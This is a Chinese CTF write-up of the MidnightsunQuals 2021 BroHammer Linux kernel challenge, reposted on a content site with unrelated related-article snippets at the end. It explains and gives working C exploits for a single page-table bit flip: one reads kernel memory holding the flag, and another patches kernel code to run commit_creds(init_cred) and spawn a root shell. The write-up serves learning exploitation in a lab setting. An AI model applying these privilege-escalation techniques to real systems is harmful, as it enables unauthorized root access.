【1 bit 翻转+无任何保护】MidnightsunQuals 2021 BroHammer

前言

又是一道非常有意思的题目,其实笔者很喜欢这种跟页表、特权级等相关的题目(:虽然大多都无法独立做出来,但是通过这些题目可以学到很多的东西

题目分析

  • 内核版本:v4.17.0
  • smap/smep/kpti/kaslr 全关

题目给了源码:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>#ifndef __NR_BROHAMMER
#define __NR_BROHAMMER 333
#endifunsigned long flips = 0;SYSCALL_DEFINE2(brohammer, long *, addr, long, bit)
{if (flips >= 1){printk(KERN_INFO "brohammer: nope\n");return -EPERM;}*addr ^= (1ULL << (bit));(*(long *) &flips)++;return 0;
}

可以看到漏洞非常简单,1 bit 任意可写地址翻转,只能使用一次。由于这里的 flipsunsigned long 类型,所以这里无法通过修改 flips 实现无限次的任意可写地址 1 bit 翻转;然后代码段又是不可写的,所以也无法修改 if (flips >= -1) 逻辑实现无限次的任意可写地址 1 bit 翻转。所以这里就只能是完全通过一次任意可写地址 1 bit 翻转去提权或获取 flag(:毕竟是 CTF 题目

漏洞利用

方案一:修改 PTE.U/S 实现普通用户对特权页面的访问

首先是参考了 hxp 的方案,其主要就是去拿 flag,思路如下:

  • 前置知识:
    • initramfs 文件系统中的所有内容都会被读取到内存当中,且每次都在一个固定的区域当中,由于关闭了 kaslr,所以这个区域是已知的(记作 flag_area),其对应的 PTE 地址也是固定的
    • PTE 中的 U/S 字段指定一个页或者一组页的特权级,其为 PTE 的第 2 bit (从 lsb = 0 bit 开始),当其为 0 时表示只有 supervisor 才能访问对应的页;为 1 表示普通 user 也可以访问对应的页
  • 利用思路:
    • 先调试定位上述 flag_area 对应 PTE 的地址,其是固定的
    • 然后利用漏洞翻转对应 PTEU/S 字段,此时普通用户就可以访问上述 flag_area 区域
    • 遍历 flag_area 区域寻找 flag

这里实际定位是在 PDE 中,因为这里的 PS 位被置位,所以 PDE 并不执行 PTE,而是直接作为页的起始地址,但是笔者习惯将最后一级转换表称作 PTE

本地的 flag 的内容为:

xiaozaya@vm:~/rubbish/MidnightsunCTF2021_Brohammer$ cat fs/root/flag
this is where the flag will be on the remote host...

调试定位该 flag 所属的 flag_area 区域:

gef> search-pattern "this is where the flag will be on the remote host..."
[+] Searching 'this is where the flag will be on the remote host...' in whole memory
[+] In (0xffff880000200000-0xffff880007e00000 [rw-])0xffff880003321000:    74 68 69 73 20 69 73 20  77 68 65 72 65 20 74 68
gef> x/s 0xffff880003321000
0xffff880003321000:     "this is where the flag will be on the remote host...\n"

可以看到这里 flag 的地址为 0xffff880003321000,然后定位其对应 PTE 的地址:

0x00000000018fb0c8: 0x80000000032001e3 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A NO_US A D G XD

可以看到 flag 所在的区域 flag_area0xffff880003200000-0xffff88000340000,其对应的 PTE 的物理地址为 0x00000000018fb0c8,然后其 PTE 值为 0x80000000032001e3,可以看到这里的 bin(3) = 0b11,即这里的 U/S 字段为 0,表示只有特权用户才能访问 flag_area: 0xffff880003200000-0xffff88000340000 区域

0x00000000018fb0c8 转换为虚拟地址为 0xffff8800018fb0c8(这里其实有两个对应的虚拟地址,这里选择直接映射区的这个地址),然后利用漏洞修改 PTEU/S 字段:

gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8:     0x80000000032001e3 <==== 修改前
gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8:     0x80000000032001e7 <==== 修改后 bin(7) = 0b111 ==> U/S=1

可以看到这里已经没有了 NO_US 标志了,说明普通用户已经可以访问 flag_area 区域了:

0x00000000018fb0c8: 0x80000000032001e7 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A A D G XD

最后遍历 flag_area 区域寻找 flag 即可,最后 exp 如下:

#include <stdio.h>
#include <unistd.h>int main() {syscall(333, 0xffff8800018fb0c8, 2);unsigned long long start = 0xffff880003200000;for (unsigned long long i = 0; i < 0x200000 / 0x1000; i++) {char* addr = start + i * 0x1000;if (addr[0] == 't' && addr[1] == 'h') {printf("%d: %s\n", i, addr);break;}}return 0;
}

效果如下:
在这里插入图片描述

方案二:修改内核代码段 pte 提权

第二种方案参考 Will's Root 的文章,其跟方案一其实类似,这里就边调试边讲解。通过内核符号表可以知道 startup_64 总是被映射到 0xffff880001000000,调试可以知道其为 PDE 中对应的一个 2M 内存区域:

0x00000000018fb040: 0x80000000010001e1 (virt:0xffff880001000000-0xffff880001200000,type:2MB-PAGE) A A NO_RW NO_US A D G XD

该区域对应的 PDE(PTE) 没有 W 权限和 US 权限,其中题目提供的系统调用函数 __x64_sys_brohammer 也被映射到该区域:

gef> x/3gi 0xffff8800010b13440xffff8800010b1344:  endbr640xffff8800010b1348:  cmp    QWORD PTR [rip+0x8459a8],0x0        # 0xffff8800018f6cf80xffff8800010b1350:  mov    rcx,QWORD PTR [rdi+0x68]gef> x/3gi 0xffffffff810b13440xffffffff810b1344 <__x64_sys_brohammer>:    endbr640xffffffff810b1348 <__x64_sys_brohammer+4>:  cmp    QWORD PTR [rip+0x8459a8],0x0        # 0xffffffff818f6cf80xffffffff810b1350 <__x64_sys_brohammer+12>: mov    rcx,QWORD PTR [rdi+0x68]

所以这里主要的想法就是去控制 0x00000000018fb040 对应的区域,从而控制 0xffff880001000000-0xffff880001200000 区域的权限,然后调试发现,0xffff8800018fb060 处的 PDE(PTE) 可以控制 0xffff880001800000-0xffff880001900000 区域:

      0xffff8800018fb040|+0x0000|+000: 0x80000000010001e10xffff8800018fb048|+0x0008|+001: 0x80000000012001e10xffff8800018fb050|+0x0010|+002: 0x00000000079860630xffff8800018fb058|+0x0018|+003: 0x00000000079870630xffff8800018fb060|+0x0020|+004: 0x80000000018001e3 <====

所以这里可以修改 0xffff8800018fb060 处的 PDE(PTE)U/S 标志位,从而就可以控制 0xffff8800018fb040 的值,从而修改 0x80000000010001e10x80000000010001e7 赋予 WU/S 权限,此时就可以在用户态去修改内核态的代码硬编码,这里选择修改 __x64_sys_brohammer

gef> x/16gi __x64_sys_brohammer0xffffffff810b1344 <__x64_sys_brohammer>:    endbr640xffffffff810b1348 <__x64_sys_brohammer+4>:  mov    rdi,0xffffffff818331000xffffffff810b134f <__x64_sys_brohammer+11>: mov    rax,0xffffffff81034bbc0xffffffff810b1356 <__x64_sys_brohammer+18>: call   rax0xffffffff810b1358 <__x64_sys_brohammer+20>: ret

然后调用 brohammer 系统调用即可执行 commit_creds(init_cred),由于这里是正常的系统调用,所以不需要像之前漏洞利用那样手动返回到用户态,这里正常执行完系统调用后,会自动返回用户态

这里有个问题,我通过 pwntools 生成 shellcode 无法写入,然后我直接写入字符串发现只能写入 9 个字符?但是用参考文章中的方法又可以成功写入,目前暂时不知道咋回事,参考文章中最后 exp 如下:

#include <stdio.h>
#include <unistd.h>
#include <stdint.h>#define FLIPS 0xffffffff818f6cf8
#define COMMIT_CREDS "0xffffffff81034bbc"
#define INIT_CRED "0xffffffff81833100"
#define evil "mov rdi, "INIT_CRED";\nmov rax, "COMMIT_CREDS";\ncall rax;\nret;"void rootkit();
asm("rootkit:"evil);void GUARD()
{return;
}int main() {syscall(333, 0xffff8800018fb060, 2);uint64_t* addr = 0xffff8800018fb040;*addr = 0x80000000010001e7;char* code = 0xffff880001000000 + 0xb1348;//char* shellcode = "\x90\x90\x90h\x001\x83\x81_h\xbcK\x03\x81X\xff\xd0\xc3";char* shellcode = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB";memcpy(code, rootkit, GUARD-rootkit);syscall(333, 0xdeadbeef, 0);system("/bin/sh");return 0;
}

IDA 打开生成的 lpe 二进制文件:
在这里插入图片描述
但是我直接用 pwntools 生成的 "H\xc7\xc7\x001\x83\x81H\xc7\xc0\xbcK\x03\x81\xff\xd0\xc3" 却无法正常写入,这里都是一样的,不知道为啥

效果如下:
在这里插入图片描述

总结

通过调试,对 linux 四级页表更加清晰了,也对相关保护权限有了一定的了解,总的来说学到了很多😀

参考

Midnightsun CTF 2021: Brohammer
MidnightsunQuals 2021 BroHammer Writeup (Single Bit Flip to Kernel Privilege Escalation)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/10718.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

laravel8 导入 excel常见问题

上传xls 或 xlsx 文件后&#xff0c;文件解析为 zip 格式&#xff0c;输入正常情况&#xff0c;不影响解析 里面的内容 遇到解析内容&#xff0c;解析为空的情况&#xff0c;可能是 因为excel 存在多个 Sheet1 造成&#xff0c;服务器不能解析一个 Sheet1 的情况&#xff0…

智慧停车场管理系统主要组成

智慧泊车场办理体系&#xff0c;完成了泊车办理过程中的车辆类型分类、出场时的车牌辨认、行进路线的引导、空余车位诱导&#xff0c;以及准备离场前的反向寻车和方便缴费等全部环节。这六个流程中&#xff0c;泊车场对车辆的办理&#xff0c;进步了泊车场的运行效率&#xff0…

数据分享—中国土壤有机质数据

土壤有机质数据是进行区域土地资源评价&#xff0c;开展自然地理研究常使用的数据&#xff0c;本期推文主要分享全国土壤有机质数据集。梧桐君会不定期分享地理信息数据&#xff0c;欢迎大家长期订阅。 数据来源 “万物土中生”&#xff0c;小编今天要分享的中国土壤有机质数…

牛客NC404 最接近的K个元素【中等 二分查找+双指针 Java/Go/PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/b4d7edc45759453e9bc8ab71f0888e0f 知识点 二分查找&#xff1b;找到第一个大于等于x的数的位置idx;然后从idx开始往两边扩展Java代码 import java.util.*;public class Solution {/*** 代码中的类名、方法名、…

可观测性监控

1 目的 常见的监控&#xff0c;主要是以收集数据以识别异常系统效应为主&#xff0c;多是单个服务&#xff0c;相互独立的状态。 可观测性&#xff0c;希望调查异常系统效应的根本原因&#xff0c;能够把多个服务、中间件、容器等串联起来&#xff0c;同时柔和metrics、log、…

vue3.0(六) toRef,toValue,toRefs和toRow,markRaw

文章目录 toReftoValuetoRefstoRowmarkRawtoRef和toRefs的区别toRaw 和markRaw的用处 toRef toRef 函数可以将一个响应式对象的属性转换为一个独立的 ref 对象。返回的是一个指向源对象属性的 ref 引用&#xff0c;任何对该引用的修改都会同步到源对象属性上。使用 toRef 时需…

2024年最新趋势跨境电商平台开发需了解的新技术

随着数字化技术的不断演进和全球市场的日益融合&#xff0c;跨境电商平台开发将面临前所未有的挑战和机遇。为了更好地适应并引领这一发展&#xff0c;开发者需要密切关注2024年最新的技术趋势&#xff0c;以确保他们的平台能够在竞争激烈的市场中脱颖而出。本文将对跨境电商平…

HTML/CSS2

1.前置说明 HTML/CSS1 2.img元素 格式&#xff1a; <img src"图片地址" alt"占位文字" width"图片宽度" height"图片高度">其中alt是当图片加载失败时显示的文字 而且不同内核的浏览器显示出来的占位文字的效果也是不尽相同…

网安面经之文件上传漏洞

一、文件上传漏洞 1、文件上传漏洞的原理&#xff1f;危害&#xff1f;修复&#xff1f; 原理&#xff1a;⽂件上传漏洞是发⽣在有上传功能的应⽤中&#xff0c;如果应⽤程序对⽤户上传的⽂件没有控制或者存在缺陷&#xff0c;攻击者可以利⽤应⽤上传功能存在的缺陷&#xff…

从文本日志到图形日志 图形化编程桌面产品的突破

在一个宽敞明亮的会议室里&#xff0c;阳光透过落地窗洒在会议桌上。卧龙和凤雏相对而坐&#xff0c;他们的面前摆放着一些关于图形化编程桌面产品的资料和测试报告。会议室里的气氛紧张而热烈&#xff0c;团队成员们围坐在一起&#xff0c;专注地倾听着卧龙和凤雏的讨论。 卧龙…

单位学校FM调频电台直放站系统

随着教育技术的不断发展&#xff0c;校园广播系统的建设已成为现代学校必不可少的一部分。作为传统有线广播的有效补充&#xff0c;基于无线电信号传输的 FM 调频电台在学校的使用日益广泛&#xff0c;尤其是在紧急通知、日常信息传播及教学辅助等方面发挥着重要作用。为了增强…

韩顺平0基础学Java——第9天

p169-201 数组&#xff08;第六章&#xff09; 数组扩容 此时原来的数组arr被销毁。 牛蛙&#xff1a; 最后再加一句 SYstem。out。println&#xff08;“是否添加&#xff1f;”&#xff09;&#xff1b; char key myscanner。netx&#xff08;&#xff09;。charAT&…

【Python超详细的学习笔记】Python超详细的学习笔记,涉及多个领域,是个很不错的笔记

获取笔记链接 Python超详细的学习笔记 一&#xff0c;逆向加密模块 1&#xff0c;Python中运行JS代码 1.1 解决中文乱码或者报错问题 import subprocess from functools import partial subprocess.Popen partial(subprocess.Popen, encodingutf-8) import execjs1.2 常用…

WordPress插件Plus WebP,可将jpg、png、bmp、gif图片转为WebP

现在很多浏览器和CDN都支持WebP格式的图片了&#xff0c;不过我们以前的WordPress网站使用的图片都是jpg、png、bmp、gif&#xff0c;那么应该如何将它们转换为WebP格式的图片呢&#xff1f;推荐安装这款Plus WebP插件&#xff0c;可以将上传到媒体库的图片转为WebP格式图片&am…

HIVE调优MapJoin

HIVE调优MapJoin 目录 HIVE调优MapJoin 1.mapjoin &#xff08;1.2以后自动默认启动mapjoin&#xff09; 2.创建表格 3.查询建表 4.通过 explain 展示执行计划 5.Map JOIN 相关设置&#xff1a; 1.mapjoin &#xff08;1.2以后自动默认启动mapjoin&#xff09;…

[机器学习-05] Scikit-Learn机器学习工具包进阶指南:协方差估计和交叉分解功能实战【2024最新】

&#x1f3a9; 欢迎来到技术探索的奇幻世界&#x1f468;‍&#x1f4bb; &#x1f4dc; 个人主页&#xff1a;一伦明悦-CSDN博客 ✍&#x1f3fb; 作者简介&#xff1a; C软件开发、Python机器学习爱好者 &#x1f5e3;️ 互动与支持&#xff1a;&#x1f4ac;评论 &…

设计模式-结构型-桥接模式-Bridge

桥接模式可以减少类的创建 矩阵类 public class Matrix {private String fileName;public Matrix(String fileName) {this.fileName fileName;}public String getFileName() {return fileName;} } 图片抽象类 public abstract class Image {protected ImageImp imp;public …

常见算法策略

前言 算法策略是指在解决问题或完成任务时所采用的方法、技巧或步骤的总称。 在设计算法时&#xff0c;通常会考虑多种策略&#xff0c;并选择最适合特定问题的策略来实现算法的设计和优化。 算法策略比较 动态规划 动态规划介绍入口

动手学深度学习16 Pytorch神经网络基础

动手学深度学习16 Pytorch神经网络基础 1. 模型构造2. 参数管理1. state_dict()2. normal_() zeros_()3. xavier初始化共享参数的好处 3. 自定义层4. 读写文件net.eval() 评估模式 QA 1. 模型构造 定义隐藏层–模型结构定义前向函数–模型结构的调用 import torch from torch…

Xilinx 千兆以太网TEMAC IP核 MDIO 配置及物理接口

基于AXI4-Lite接口可以访问MDIO(Management Data Input/Output)接口&#xff0c;而MDIO接口连接MAC外部的PHY芯片&#xff0c;用户可通过AXI4-Lite接口实现对PHY芯片的配置。 1 MDIO接口简介 开放系统互连模型OSI的最低两层分别是数据链路层和物理层&#xff0c;数据链路层的…